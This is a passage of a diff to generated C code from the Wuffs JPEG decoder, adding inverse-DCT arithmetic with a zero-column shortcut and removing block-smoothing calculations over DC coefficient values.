((uint32_t)(v_bq2 * 6270u)))); ++ v_cb6 = ((uint32_t)(v_ca - ((uint32_t)(v_bq6 * 15137u)))); ++ v_bq0 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][0u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][0u])))); ++ v_bq4 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][32u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][32u])))); ++ v_ccp = ((uint32_t)(((uint32_t)(v_bq0 + v_bq4)) << 13u)); ++ v_ccm = ((uint32_t)(((uint32_t)(v_bq0 - v_bq4)) << 13u)); ++ v_cd0 = ((uint32_t)(v_ccp + v_cb2)); ++ v_cd1 = ((uint32_t)(v_ccm + v_cb6)); ++ v_cd2 = ((uint32_t)(v_ccm - v_cb6)); ++ v_cd3 = ((uint32_t)(v_ccp - v_cb2)); ++ v_bq1 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][8u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][8u])))); ++ v_bq3 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][24u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][24u])))); ++ v_bq5 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][40u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][40u])))); ++ v_bq7 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][56u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][56u])))); ++ v_ci51 = ((uint32_t)(v_bq5 + v_bq1)); ++ v_ci53 = ((uint32_t)(v_bq5 + v_bq3)); ++ v_ci71 = ((uint32_t)(v_bq7 + v_bq1)); ++ v_ci73 = ((uint32_t)(v_bq7 + v_bq3)); ++ v_cj = ((uint32_t)(((uint32_t)(v_ci73 + v_ci51)) * 9633u)); ++ v_ck1 = ((uint32_t)(v_bq1 * 12299u)); ++ v_ck3 = ((uint32_t)(v_bq3 * 25172u)); ++ v_ck5 = ((uint32_t)(v_bq5 * 16819u)); ++ v_ck7 = ((uint32_t)(v_bq7 * 2446u)); ++ v_ci51 *= 4294964100u; ++ v_ci53 *= 4294946301u; ++ v_ci71 *= 4294959923u; ++ v_ci73 *= 4294951227u; ++ v_cl51 = ((uint32_t)(v_ci51 + v_cj)); ++ v_cl73 = ((uint32_t)(v_ci73 + v_cj)); ++ v_ck1 += ((uint32_t)(v_ci71 + v_cl51)); ++ v_ck3 += ((uint32_t)(v_ci53 + v_cl73)); ++ v_ck5 += ((uint32_t)(v_ci53 + v_cl51)); ++ v_ck7 += ((uint32_t)(v_ci71 + v_cl73)); ++ v_intermediate[0u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd0 + v_ck1)) + 1024u)), 11u); ++ v_intermediate[56u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd0 - v_ck1)) + 1024u)), 11u); ++ v_intermediate[8u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd1 + v_ck3)) + 1024u)), 11u); ++ v_intermediate[48u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd1 - v_ck3)) + 1024u)), 11u); ++ v_intermediate[16u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd2 + v_ck5)) + 1024u)), 11u); ++ v_intermediate[40u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd2 - v_ck5)) + 1024u)), 11u); ++ v_intermediate[24u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd3 + v_ck7)) + 1024u)), 11u); ++ v_intermediate[32u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd3 - v_ck7)) + 1024u)), 11u); + } +- v_q = self->private_impl.f_components_tq[a_csel]; +- v_q_00 = ((uint32_t)(self->private_impl.f_quant_tables[v_q][0u])); +- if (v_q_00 <= 0u) { +- return wuffs_base__make_empty_struct(); ++ if (0u == (self->private_data.f_mcu_blocks[0u][9u] | ++ self->private_data.f_mcu_blocks[0u][17u] | ++ self->private_data.f_mcu_blocks[0u][25u] | ++ self->private_data.f_mcu_blocks[0u][33u] | ++ self->private_data.f_mcu_blocks[0u][41u] | ++ self->private_data.f_mcu_blocks[0u][49u] | ++ self->private_data.f_mcu_blocks[0u][57u])) { ++ v_intermediate[1u] = ((uint32_t)(((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][1u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][1u])))) << 2u)); ++ v_intermediate[9u] = v_intermediate[1u]; ++ v_intermediate[17u] = v_intermediate[1u]; ++ v_intermediate[25u] = v_intermediate[1u]; ++ v_intermediate[33u] = v_intermediate[1u]; ++ v_intermediate[41u] = v_intermediate[1u]; ++ v_intermediate[49u] = v_intermediate[1u]; ++ v_intermediate[57u] = v_intermediate[1u]; ++ } else { ++ v_bq2 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][17u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][17u])))); ++ v_bq6 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][49u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][49u])))); ++ v_ca = ((uint32_t)(((uint32_t)(v_bq2 + v_bq6)) * 4433u)); ++ v_cb2 = ((uint32_t)(v_ca + ((uint32_t)(v_bq2 * 6270u)))); ++ v_cb6 = ((uint32_t)(v_ca - ((uint32_t)(v_bq6 * 15137u)))); ++ v_bq0 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][1u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][1u])))); ++ v_bq4 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][33u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][33u])))); ++ v_ccp = ((uint32_t)(((uint32_t)(v_bq0 + v_bq4)) << 13u)); ++ v_ccm = ((uint32_t)(((uint32_t)(v_bq0 - v_bq4)) << 13u)); ++ v_cd0 = ((uint32_t)(v_ccp + v_cb2)); ++ v_cd1 = ((uint32_t)(v_ccm + v_cb6)); ++ v_cd2 = ((uint32_t)(v_ccm - v_cb6)); ++ v_cd3 = ((uint32_t)(v_ccp - v_cb2)); ++ v_bq1 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][9u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][9u])))); ++ v_bq3 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][25u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][25u])))); ++ v_bq5 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][41u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][41u])))); ++ v_bq7 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][57u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][57u])))); ++ v_ci51 = ((uint32_t)(v_bq5 + v_bq1)); ++ v_ci53 = ((uint32_t)(v_bq5 + v_bq3)); ++ v_ci71 = ((uint32_t)(v_bq7 + v_bq1)); ++ v_ci73 = ((uint32_t)(v_bq7 + v_bq3)); ++ v_cj = ((uint32_t)(((uint32_t)(v_ci73 + v_ci51)) * 9633u)); ++ v_ck1 = ((uint32_t)(v_bq1 * 12299u)); ++ v_ck3 = ((uint32_t)(v_bq3 * 25172u)); ++ v_ck5 = ((uint32_t)(v_bq5 * 16819u)); ++ v_ck7 = ((uint32_t)(v_bq7 * 2446u)); ++ v_ci51 *= 4294964100u; ++ v_ci53 *= 4294946301u; ++ v_ci71 *= 4294959923u; ++ v_ci73 *= 4294951227u; ++ v_cl51 = ((uint32_t)(v_ci51 + v_cj)); ++ v_cl73 = ((uint32_t)(v_ci73 + v_cj)); ++ v_ck1 += ((uint32_t)(v_ci71 + v_cl51)); ++ v_ck3 += ((uint32_t)(v_ci53 + v_cl73)); ++ v_ck5 += ((uint32_t)(v_ci53 + v_cl51)); ++ v_ck7 += ((uint32_t)(v_ci71 + v_cl73)); ++ v_intermediate[1u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd0 + v_ck1)) + 1024u)), 11u); ++ v_intermediate[57u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd0 - v_ck1)) + 1024u)), 11u); ++ v_intermediate[9u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd1 + v_ck3)) + 1024u)), 11u); ++ v_intermediate[49u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd1 - v_ck3)) + 1024u)), 11u); ++ v_intermediate[17u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd2 + v_ck5)) + 1024u)), 11u); ++ v_intermediate[41u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd2 - v_ck5)) + 1024u)), 11u); ++ v_intermediate[25u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd3 + v_ck7)) + 1024u)), 11u); ++ v_intermediate[33u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd3 - v_ck7)) + 1024u)), 11u); + } +- if (0u != (16u & +- self->private_impl.f_block_smoothing_lowest_scan_al[a_csel][1u] & +- self->private_impl.f_block_smoothing_lowest_scan_al[a_csel][2u] & +- self->private_impl.f_block_smoothing_lowest_scan_al[a_csel][3u] & +- self->private_impl.f_block_smoothing_lowest_scan_al[a_csel][4u] & +- self->private_impl.f_block_smoothing_lowest_scan_al[a_csel][5u] & +- self->private_impl.f_block_smoothing_lowest_scan_al[a_csel][6u] & +- self->private_impl.f_block_smoothing_lowest_scan_al[a_csel][7u] & +- self->private_impl.f_block_smoothing_lowest_scan_al[a_csel][8u] & +- self->private_impl.f_block_smoothing_lowest_scan_al[a_csel][9u])) { +- v_scratch = 0u; +- v_scratch += ((uint32_t)(4294967294u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][0u]))); +- v_scratch += ((uint32_t)(4294967290u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][1u]))); +- v_scratch += ((uint32_t)(4294967288u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][2u]))); +- v_scratch += ((uint32_t)(4294967290u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][3u]))); +- v_scratch += ((uint32_t)(4294967294u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][4u]))); +- v_scratch += ((uint32_t)(4294967290u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][0u]))); +- v_scratch += ((uint32_t)(6u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][1u]))); +- v_scratch += ((uint32_t)(42u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][2u]))); +- v_scratch += ((uint32_t)(6u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][3u]))); +- v_scratch += ((uint32_t)(4294967290u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][4u]))); +- v_scratch += ((uint32_t)(4294967288u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][0u]))); +- v_scratch += ((uint32_t)(42u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][1u]))); +- v_scratch += ((uint32_t)(152u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][2u]))); +- v_scratch += ((uint32_t)(42u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][3u]))); +- v_scratch += ((uint32_t)(4294967288u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][4u]))); +- v_scratch += ((uint32_t)(4294967290u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][0u]))); +- v_scratch += ((uint32_t)(6u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][1u]))); +- v_scratch += ((uint32_t)(42u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][2u]))); +- v_scratch += ((uint32_t)(6u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][3u]))); +- v_scratch += ((uint32_t)(4294967290u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][4u]))); +- v_scratch += ((uint32_t)(4294967294u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][0u]))); +- v_scratch += ((uint32_t)(4294967290u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][1u]))); +- v_scratch += ((uint32_t)(4294967288u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][2u]))); +- v_scratch += ((uint32_t)(4294967290u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][3u]))); +- v_scratch += ((uint32_t)(4294967294u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][4u]))); +- if (v_scratch < 2147483648u) { +- v_scratch = ((uint32_t)(0u + (((uint32_t)(((uint32_t)(0u + v_scratch)) + 128u)) / 256u))); +- } else { +- v_scratch = ((uint32_t)(0u - (((uint32_t)(((uint32_t)(0u - v_scratch)) + 128u)) / 256u))); +- } +- self->private_data.f_mcu_blocks[0u][0u] = ((uint16_t)(v_scratch)); +- v_q_xy = ((uint32_t)(self->private_impl.f_quant_tables[v_q][1u])); +- if ((v_q_xy > 0u) && (self->private_data.f_mcu_blocks[0u][1u] == 0u)) { +- v_scratch = 0u; +- v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][0u]))); +- v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][1u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][2u]))); +- v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][3u]))); +- v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][4u]))); +- v_scratch += ((uint32_t)(4294967293u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][0u]))); +- v_scratch += ((uint32_t)(13u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][1u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][2u]))); +- v_scratch += ((uint32_t)(4294967283u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][3u]))); +- v_scratch += ((uint32_t)(3u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][4u]))); +- v_scratch += ((uint32_t)(4294967293u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][0u]))); +- v_scratch += ((uint32_t)(38u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][1u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][2u]))); +- v_scratch += ((uint32_t)(4294967258u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][3u]))); +- v_scratch += ((uint32_t)(3u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][4u]))); +- v_scratch += ((uint32_t)(4294967293u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][0u]))); +- v_scratch += ((uint32_t)(13u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][1u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][2u]))); +- v_scratch += ((uint32_t)(4294967283u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][3u]))); +- v_scratch += ((uint32_t)(3u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][4u]))); +- v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][0u]))); +- v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][1u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][2u]))); +- v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][3u]))); +- v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][4u]))); +- v_scratch *= v_q_00; +- if (v_scratch < 2147483648u) { +- v_scratch = ((uint32_t)(0u + (((uint32_t)(((uint32_t)(0u + v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u)))); +- } else { +- v_scratch = ((uint32_t)(0u - (((uint32_t)(((uint32_t)(0u - v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u)))); +- } +- self->private_data.f_mcu_blocks[0u][1u] = ((uint16_t)(v_scratch)); +- } +- v_q_xy = ((uint32_t)(self->private_impl.f_quant_tables[v_q][2u])); +- if ((v_q_xy > 0u) && (self->private_data.f_mcu_blocks[0u][2u] == 0u)) { +- v_scratch = 0u; +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][0u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][1u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][2u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][3u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][4u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][0u]))); +- v_scratch += ((uint32_t)(2u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][1u]))); +- v_scratch += ((uint32_t)(4294967291u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][2u]))); +- v_scratch += ((uint32_t)(2u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][3u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][4u]))); +- v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][0u]))); +- v_scratch += ((uint32_t)(7u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][1u]))); +- v_scratch += ((uint32_t)(4294967282u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][2u]))); +- v_scratch += ((uint32_t)(7u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][3u]))); +- v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][4u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][0u]))); +- v_scratch += ((uint32_t)(2u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][1u]))); +- v_scratch += ((uint32_t)(4294967291u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][2u]))); +- v_scratch += ((uint32_t)(2u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][3u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][4u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][0u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][1u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][2u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][3u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][4u]))); +- v_scratch *= v_q_00; +- if (v_scratch < 2147483648u) { +- v_scratch = ((uint32_t)(0u + (((uint32_t)(((uint32_t)(0u + v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u)))); +- } else { +- v_scratch = ((uint32_t)(0u - (((uint32_t)(((uint32_t)(0u - v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u)))); +- } +- self->private_data.f_mcu_blocks[0u][2u] = ((uint16_t)(v_scratch)); +- } +- v_q_xy = ((uint32_t)(self->private_impl.f_quant_tables[v_q][3u])); +- if ((v_q_xy > 0u) && (self->private_data.f_mcu_blocks[0u][3u] == 0u)) { +- v_scratch = 0u; +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][0u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][1u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][2u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][3u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][4u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][0u]))); +- v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][1u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][2u]))); +- v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][3u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][4u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][0u]))); +- v_scratch += ((uint32_t)(2u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][1u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][2u]))); +- v_scratch += ((uint32_t)(4294967294u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][3u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][4u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][0u]))); +- v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][1u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][2u]))); +- v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][3u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][4u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][0u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][1u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][2u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][3u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][4u]))); +- v_scratch *= v_q_00; +- if (v_scratch < 2147483648u) { +- v_scratch = ((uint32_t)(0u + (((uint32_t)(((uint32_t)(0u + v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u)))); +- } else { +- v_scratch = ((uint32_t)(0u - (((uint32_t)(((uint32_t)(0u - v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u)))); +- } +- self->private_data.f_mcu_blocks[0u][3u] = ((uint16_t)(v_scratch)); +- } +- v_q_xy = ((uint32_t)(self->private_impl.f_quant_tables[v_q][8u])); +- if ((v_q_xy > 0u) && (self->private_data.f_mcu_blocks[0u][8u] == 0u)) { +- v_scratch = 0u; +- v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][0u]))); +- v_scratch += ((uint32_t)(4294967293u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][1u]))); +- v_scratch += ((uint32_t)(4294967293u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][2u]))); +- v_scratch += ((uint32_t)(4294967293u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][3u]))); +- v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][4u]))); +- v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][0u]))); +- v_scratch += ((uint32_t)(13u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][1u]))); +- v_scratch += ((uint32_t)(38u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][2u]))); +- v_scratch += ((uint32_t)(13u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][3u]))); +- v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][4u]))); +- v_scratch += ((uint32_t)(0u * 